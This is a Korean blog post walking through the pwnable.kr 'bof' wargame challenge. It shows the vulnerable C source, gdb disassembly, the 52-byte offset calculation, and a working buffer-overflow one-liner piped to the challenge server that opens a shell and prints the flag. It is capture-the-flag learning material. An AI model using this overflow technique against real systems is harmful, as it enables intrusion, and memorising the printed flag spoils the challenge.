ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • pwnable.kr 3번 bof
    정보보안/포너블 2017. 12. 27. 19:43

    pwnable.kr 3번 문제 bof


    Buffer Overflow(BOF) 문제다. 이번엔 netcat으로 연결을 하는 대신 문제 페이지에서 따로 소스와 실행파일을 제공한다.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);    // smash me!
        if(key == 0xcafebabe){
            system("/bin/sh");
        }
        else{
            printf("Nah..\n");
        }
    }
    int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
    }
    cs

    깔깔 이번에도 C언어다!! 

    코드를 읽어보니 gdb의 힘을 빌려야 할 것 같기에 이번에도 goorm.io의 Terminal로...

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    root@goorm:/workspace/JunhoYeo# wget http://pwnable.kr/bin/bof
    --2017-12-27 07:49:18--  http://pwnable.kr/bin/bof
    Resolving pwnable.kr (pwnable.kr)... 143.248.249.64
    접속 pwnable.kr (pwnable.kr)|143.248.249.64|:80... 접속됨.
    HTTP request sent, awaiting response... 200 OK
    Length: 7348 (7.2K)
    Saving to: ‘bof’
     
    100%[====================================================>] 7,348       --.-K/s   in 0.002s
     
    2017-12-27 07:49:18 (4.52 MB/s) - ‘bof’ saved [7348/7348]
     
    root@goorm:/workspace/JunhoYeo# ./bof
    bash: ./bof: 허가 거부
    root@goorm:/workspace/JunhoYeo# chmod +x bof
    root@goorm:/workspace/JunhoYeo# ./bof
    bash: ./bof: 그런 파일이나 디렉터리가 없습니다
    cs

    먼저 wget을 사용해서 문제에서 제공하는 실행 파일을 pwnable.kr/bin/bof에서 다운받는다. 'bof'로 저장했단다.

    이제 ./bof로 받은 프로그램을 실행해보자! 어라 근데 허가 거부라고 나오네...

    받은 파일에 execute 권한을 추가하는 것을 까먹었나 보다. chmod로 x(실행) 권한을 추가했다.

    그런데 다시 실행하니 이번에는 파일을 못 찾는댄다... 왜 이럴까(이미 알면서도 이상한 척하며)?

    1
    2
    3
    root@goorm:/workspace/JunhoYeo# file bof
    bof: ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), 
    for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped
    cs

    file 명령어로 bof 파일의 정보를 확인해보니, 32비트 파일이라고 나온다. 잠만 그렇다면 내가 지금 사용하는 터미널은 무슨 환경이지?

    1
    2
    root@goorm:/workspace/JunhoYeo# getconf LONG_BIT
    64
    cs

    해당 리눅스 환경이 32비트인지 64비트인지 Terminal에서 확인하는 방법을 몰라서 구글링했고, 제타위키에서 그 해결책을 알게 되었다.

    이 말고도 다양한 방법이 있다지만 제일 먼저 뜨는 getconf LONG_BIT를 사용해서 확인했다. 64비트라고 나온다.

    그렇다면 64비트 리눅스에서 32비트 프로그램을 실행하려면 어떻게 해야 할까?

    1
    2
    3
    4
    5
    root@goorm:/workspace/JunhoYeo# sudo dpkg --add-architecture i386
    root@goorm:/workspace/JunhoYeo# sudo apt-get update
    root@goorm:/workspace/JunhoYeo# sudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386 zlib1g:i386
    root@goorm:/workspace/JunhoYeo# ./bof
    overflow me :
    cs

    구글링해서 의존성 패키지를 설치하면 실행이 가능하다는 것을 알아냈다(설치 과정은 생략했다).

    설치가 모두 끝나고 다시한번 확인해보니 정상적으로 실행되는 것을 확인할 수 있다! 야호~

    그럼 이제 gdb를 쓸 수 있게 된 건가(두근두근)?

    먼저 gdb를 열어주자~

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    root@goorm:/workspace/JunhoYeo# gdb bof
    GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
    Copyright (C) 2014 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    <http://www.gnu.org/software/gdb/bugs/>.
    Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
    For help, type "help".
    Type "apropos word" to search for commands related to "word"...
    Reading symbols from bof...(no debugging symbols found)...done.
    (gdb) disass main
    Dump of assembler code for function main:
       0x0000068a <+0>:     push   %ebp
       0x0000068b <+1>:     mov    %esp,%ebp
       0x0000068d <+3>:     and    $0xfffffff0,%esp
       0x00000690 <+6>:     sub    $0x10,%esp
       0x00000693 <+9>:     movl   $0xdeadbeef,(%esp)
       0x0000069a <+16>:    call   0x62c <func>
       0x0000069f <+21>:    mov    $0x0,%eax
       0x000006a4 <+26>:    leave
       0x000006a5 <+27>:    ret
    End of assembler dump.
    (gdb) disass func
    Dump of assembler code for function func:
       0x0000062c <+0>:     push   %ebp
       0x0000062d <+1>:     mov    %esp,%ebp
       0x0000062f <+3>:     sub    $0x48,%esp
       0x00000632 <+6>:     mov    %gs:0x14,%eax
       0x00000638 <+12>:    mov    %eax,-0xc(%ebp)
       0x0000063b <+15>:    xor    %eax,%eax
       0x0000063d <+17>:    movl   $0x78c,(%esp)
       0x00000644 <+24>:    call   0x645 <func+25>
       0x00000649 <+29>:    lea    -0x2c(%ebp),%eax
       0x0000064c <+32>:    mov    %eax,(%esp)
       0x0000064f <+35>:    call   0x650 <func+36>
       0x00000654 <+40>:    cmpl   $0xcafebabe,0x8(%ebp)
       0x0000065b <+47>:    jne    0x66b <func+63>
       0x0000065d <+49>:    movl   $0x79b,(%esp)
       0x00000664 <+56>:    call   0x665 <func+57>
       0x00000669 <+61>:    jmp    0x677 <func+75>
       0x0000066b <+63>:    movl   $0x7a3,(%esp)
       0x00000672 <+70>:    call   0x673 <func+71>
       0x00000677 <+75>:    mov    -0xc(%ebp),%eax
       0x0000067a <+78>:    xor    %gs:0x14,%eax
       0x00000681 <+85>:    je     0x688 <func+92>
       0x00000683 <+87>:    call   0x684 <func+88>
       0x00000688 <+92>:    leave
       0x00000689 <+93>:    ret
    End of assembler dump.
    cs

    일단 func<+40>에서 cmpl 명령으로 0xcafebabe와 ebp+0x8을 비교하니까 ebp+0x8이 key인 것 같다.

    또 func<+29> lea 명령으로 eax를 ebp-0x2c로 불러와서 연산을 실행하니까 ebp-0x2c가 버퍼 overflowme 시작 주소라는 것을 알 수 있다.

    1
    2
    3
    4
    5
    6
    root@goorm:/workspace/JunhoYeo# python
    Python 2.7.6 (default, Oct 26 2016, 20:30:19)
    [GCC 4.8.4] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> 0x8-(-0x2c)
    52

    cs

    key-overflowme=ebp+0x8-(ebp-0x2c)=0x8-(-0x2c)=52이므로 key랑 overflowme가 메모리 상에서 떨어져 있는 거리는 52다.

    그럼 이제 프로그램에 전달하는 인수에서 52바이트를 ㅁㄴㅇㄹ한 문자로 채우고 그 다음에 0xcafebabe를 넣어주면 된다.

    물론 리틀 엔디언 방식이니까 0xcafebabe라고 넣으면 당연히 안되고 거꾸로 \xBE\xBA\xFE\xCA 요렇게 넣어줘야겠지.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    root@goorm:/workspace/JunhoYeo# (python -c 'print "a"*52 + "\xBE\xBA\xFE\xCA"'; cat) | nc pwnable.kr 9000
    ls
    bof
    bof.c
    flag
    log
    log2
    super.pl
    cat flag
    daddy, I just pwned a buFFer :)
    cs

    파이썬을 사용해서 세상에서 가장 ㅁㄴㅇㄹ한 문자라고 볼 수 있는 a를 52번 출력하고 \xBE\xBA\xFE\xCA를 출력해줬다.

    그랬더니 쉘을 딸 수 이써따!! 와아~!!

    먼저 ls로 현재 디렉토리에 있는 파일들을 출력했더니 flag가 있길래 cat flag 명령으로 Flag를 출력했다. 

    1
    2
    3
    root@goorm:/workspace/JunhoYeo# (python -c 'print "a"*52 + "\xBE\xBA\xFE\xCA"'; cat) | nc pwnable.kr 9000
    id
    uid=1008(bof) gid=1008(bof) groups=1008(bof)
    cs

    보니까 bof라는 user의 권한이 주어진다 카더라.


    이번 기회에 저기 보이는 저 작대기 같은 녀석, 파이프(|) 명령어를 소개해보자면(feat. Google),

    a | b라면 a 실행 결과로 출력되는 문자를 b의 입력으로 이용하는 것이라고 한다.

    그러니까 위 명령 (python -c 'print "a"*52 + "\xBE\xBA\xFE\xCA"'; cat) | nc pwnable.kr 9000에서는,

    (python -c 'print "a"*52 + "\xBE\xBA\xFE\xCA"'; cat)이 a고 nc pwnable.kr 9000가 b라고 할 수 있다.

    즉 a의 표준 출력이 b의 표준 입력이 되므로 nc pwnable.kr를 실행하고 그 입력으로 "a"*52 + "\xBE\xBA\xFE\xCA"가 넘어오게 되는 것이다!


    Flag는 daddy, I just pwned a buFFer :)이다.

    아무래도 문제의 주인공 가족은 모두가 킹ㅡ갓 해커인가 보다... ㄷ


    '정보보안 > 포너블' 카테고리의 다른 글

    해커스쿨 FTZ level6~9  (0) 2018.01.05
    해커스쿨 FTZ level5  (0) 2017.12.28
    pwnable.kr 2번 collision  (0) 2017.12.26
    pwnable.kr 1번 fd  (0) 2017.12.26
    해커스쿨 FTZ level4  (0) 2017.12.26

    댓글

Designed by Tistory